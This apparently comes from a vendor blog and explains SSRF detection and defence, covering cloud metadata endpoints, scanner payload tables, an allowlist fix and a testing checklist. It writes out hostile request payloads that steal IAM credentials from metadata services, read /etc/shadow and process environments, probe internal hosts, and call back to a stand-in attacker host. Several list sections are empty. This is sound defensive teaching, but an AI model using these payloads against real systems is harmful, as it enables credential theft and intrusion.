Server-Side Request Forgery in 2026: What Your Scanner Should Detect

SSRF โ€” Server-Side Request Forgery โ€” is the vulnerability that turned cloud metadata endpoints into data exfiltration channels. It's OWASP A10, it was the root cause of the Capital One breach, and in 2026 it remains one of the most dangerous classes of web application vulnerability because of what it gives an attacker: the ability to make the server send requests on their behalf.

That's the key distinction. With XSS, the attacker's code runs in the victim's browser. With SQLi, the attacker's query runs in the database. With SSRF, the attacker's request runs from the server itself โ€” inside the firewall, inside the VPC, with access to internal services that are invisible from the outside.

This article covers what SSRF is, why it's particularly dangerous in cloud environments, what a scanner should detect, and how to fix it. If you've read our SQLi detection and XSS detection articles, this completes the injection/forgery trifecta.

1. What Is SSRF?

Server-Side Request Forgery happens when an application takes a user-supplied URL (or partial URL) and makes a server-side HTTP request to it without proper validation. The attacker doesn't get to see the response directly in every case โ€” but in many cases they do, and even blind SSRF (where the response isn't returned) can be exploited through timing, DNS callbacks, or out-of-band data exfiltration.

The classic vulnerable pattern looks like this:

# Vulnerable: user controls the URL, server fetches it
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)  # Server makes the request
    return response.text           # Response returned to user

An attacker sends:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

And the server โ€” running inside AWS โ€” dutifully fetches the IAM credentials from the instance metadata service and returns them to the attacker.

Where SSRF Hides

SSRF isn't limited to obvious "fetch this URL" endpoints. It appears in:

2. Why Cloud Makes It Worse

SSRF existed before cloud computing, but cloud made it catastrophic. The reason is simple: every major cloud provider exposes an instance metadata service at a well-known IP address that's accessible from any process running on the instance.

Cloud Metadata Endpoints

ProviderEndpointWhat It Exposes
AWS http://169.254.169.254/latest/meta-data/ IAM role credentials, instance ID, security groups, user data scripts
GCP http://metadata.google.internal/computeMetadata/v1/ Service account tokens, project ID, instance attributes
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Subscription ID, resource group, managed identity tokens

The 169.254.169.254 address is a link-local IP that's only accessible from the instance itself. From the outside, you can't reach it. But if you can make the server request it via SSRF โ€” you get everything.

The IMDSv2 Defence (AWS)

AWS introduced IMDSv2 (Instance Metadata Service version 2) to mitigate SSRF attacks against the metadata endpoint. IMDSv2 requires a PUT request to obtain a session token before metadata can be accessed. Since most SSRF vulnerabilities only allow GET requests, this blocks the attack.

But IMDSv2 is not enforced by default on all instance types, and many organisations still run IMDSv1 (which accepts plain GET requests). GCP requires a Metadata-Flavor: Google header, which provides some protection. Azure requires a Metadata: true header.

None of these are foolproof. If the SSRF vulnerability allows the attacker to control request headers (not just the URL), all three can be bypassed.

3. SSRF Attack Patterns

Pattern 1: Cloud Metadata Theft

The highest-impact SSRF pattern. The attacker targets the cloud metadata endpoint to steal IAM credentials or service account tokens, then uses those credentials to access other cloud resources (S3 buckets, databases, other services).

# AWS metadata โ€” get IAM role name, then credentials
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: "my-app-role"

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-app-role
# Returns: AccessKeyId, SecretAccessKey, Token

Pattern 2: Internal Service Access

The attacker uses SSRF to reach internal services that aren't exposed to the internet โ€” admin panels, databases, monitoring dashboards, internal APIs.

# Scan internal network
GET /fetch?url=http://10.0.0.1:8080/admin
GET /fetch?url=http://192.168.1.1/status
GET /fetch?url=http://localhost:6379/  # Redis

Pattern 3: Local File Read

If the application's HTTP client supports the file:// protocol, the attacker can read local files:

GET /fetch?url=file:///etc/passwd
GET /fetch?url=file:///etc/shadow
GET /fetch?url=file:///proc/self/environ  # Environment variables (may contain secrets)

Pattern 4: Blind SSRF via DNS/HTTP Callbacks

When the server doesn't return the response body, attackers use out-of-band techniques. They inject a URL pointing to a server they control and watch for the callback:

GET /fetch?url=http://attacker-controlled.example.com/ssrf-callback

If the attacker's server receives a request from the target's IP, SSRF is confirmed โ€” even though the attacker never sees the response in the application.

4. What Your Scanner Should Detect

A thorough SSRF scanner should test for all four patterns. Here's what the detection matrix looks like:

Detection TypePayloadWhat to Look ForSeverity
Cloud Metadata http://169.254.169.254/latest/meta-data/ AMI IDs, instance-id, iam/security-credentials in response CRITICAL
Cloud Metadata http://metadata.google.internal/computeMetadata/v1/ computeMetadata, project/project-id in response CRITICAL
Cloud Metadata http://169.254.169.254/metadata/instance?api-version=2021-02-01 subscriptionId, resourceGroupName in response CRITICAL
File Read file:///etc/passwd root:.*:0:0: pattern in response CRITICAL
Internal Access http://localhost/, http://127.0.0.1/ Internal IP addresses (10.x, 172.16-31.x, 192.168.x) in response HIGH
URL Reflection Any injected URL Injected URL appears verbatim in response body MEDIUM

Why Severity Matters

Cloud metadata and file read findings are CRITICAL because they represent immediate data exfiltration. Internal access is HIGH because it confirms the server will make requests to internal addresses โ€” the attacker just needs to find the right target. URL reflection is MEDIUM because it confirms the parameter is processed server-side but doesn't prove exploitation yet.

5. Detection Methods: How Scanners Find SSRF

Parameter Injection

The scanner identifies URL parameters that might accept URLs (common parameter names: url, link, src, href, redirect, callback, next, dest, target, uri, path, file) and replaces each with SSRF payloads one at a time.

For each parameter-payload combination, the scanner sends the request and analyses the response body for indicators of successful server-side fetching.

Response Analysis

The key to SSRF detection is knowing what a successful attack looks like in the response. The scanner checks for:

What Good Scanners Do Differently

Basic scanners only test GET parameters. Better scanners also test:

6. Real-World SSRF Examples

Capital One (2019) โ€” $80M Fine, 100M Records

The most famous SSRF attack. A misconfigured WAF on an AWS EC2 instance allowed an attacker to reach the instance metadata endpoint, steal IAM credentials, and use those credentials to access S3 buckets containing 100 million customer records. The root cause was a combination of SSRF in the WAF proxy and overly permissive IAM roles.

GitLab (2021) โ€” $20K Bug Bounty

A researcher found SSRF in GitLab's import feature. When importing a project from a URL, GitLab's server would fetch the URL โ€” including internal addresses. The researcher demonstrated access to the GCP metadata endpoint from GitLab's cloud infrastructure.

Shopify (2020) โ€” $15K Bug Bounty

SSRF via the "import products from URL" feature. The application fetched user-supplied URLs server-side without validating the destination, allowing access to internal services.

The Pattern

Every major SSRF breach follows the same pattern: (1) find a feature that fetches URLs server-side, (2) inject an internal URL, (3) read the response or use out-of-band exfiltration. The attack surface is any feature that takes a URL as input.

7. How to Fix SSRF

Layer 1: Input Validation

# Allowlist approach โ€” only permit known-good domains
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}

def validate_url(url):
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError(f"Domain not allowed: {parsed.hostname}")
    if parsed.scheme not in ('http', 'https'):
        raise ValueError(f"Scheme not allowed: {parsed.scheme}")
    return url

Use allowlists, not denylists. Denylists (blocking 169.254.169.254, localhost, etc.) are always incomplete โ€” attackers find bypasses through DNS rebinding, IPv6 addresses, URL encoding, and redirect chains.

Layer 2: Network Controls

Layer 3: Application Architecture

Layer 4: Monitoring

8. SSRF Testing Checklist

Use this checklist when testing for SSRF in your applications:

#CheckHow to TestExpected Result
1 AWS metadata access Inject http://169.254.169.254/latest/meta-data/ into URL parameters No metadata content in response
2 GCP metadata access Inject http://metadata.google.internal/computeMetadata/v1/ No metadata content in response
3 Azure metadata access Inject http://169.254.169.254/metadata/instance?api-version=2021-02-01 No metadata content in response
4 Local file read Inject file:///etc/passwd No file content in response
5 Localhost access Inject http://localhost/ and http://127.0.0.1/ No internal content or IP addresses in response
6 Internal network scan Inject http://10.0.0.1/, http://192.168.1.1/ Request blocked or no internal content returned
7 URL scheme restriction Inject gopher://, dict://, tftp:// URLs Non-HTTP schemes rejected
8 Redirect bypass Inject URL that 302-redirects to http://169.254.169.254/ Redirect not followed to internal address
9 DNS rebinding Use a domain that alternates between public and private IP resolution Request blocked after DNS re-resolution
10 IMDSv2 enforcement (AWS) Verify instance requires IMDSv2 token for metadata access GET to metadata endpoint returns 401 without token

Bottom Line

SSRF is the vulnerability that bridges the gap between "I can reach your web application" and "I can reach everything your web application can reach." In cloud environments, that means IAM credentials, internal APIs, databases, and metadata services.

The fix isn't a single control โ€” it's defence in depth: input validation (allowlists, not denylists), network controls (block private ranges at the firewall), application architecture (isolate URL-fetching services), and monitoring (alert on metadata endpoint access).

If your scanner isn't testing for SSRF against all three major cloud metadata endpoints, localhost access, and file:// protocol abuse โ€” it's leaving your most dangerous attack surface untested.

This article is part of our scanner detection series. See also: SQL Injection Detection, XSS Detection, TLS Auditing.

Advertisement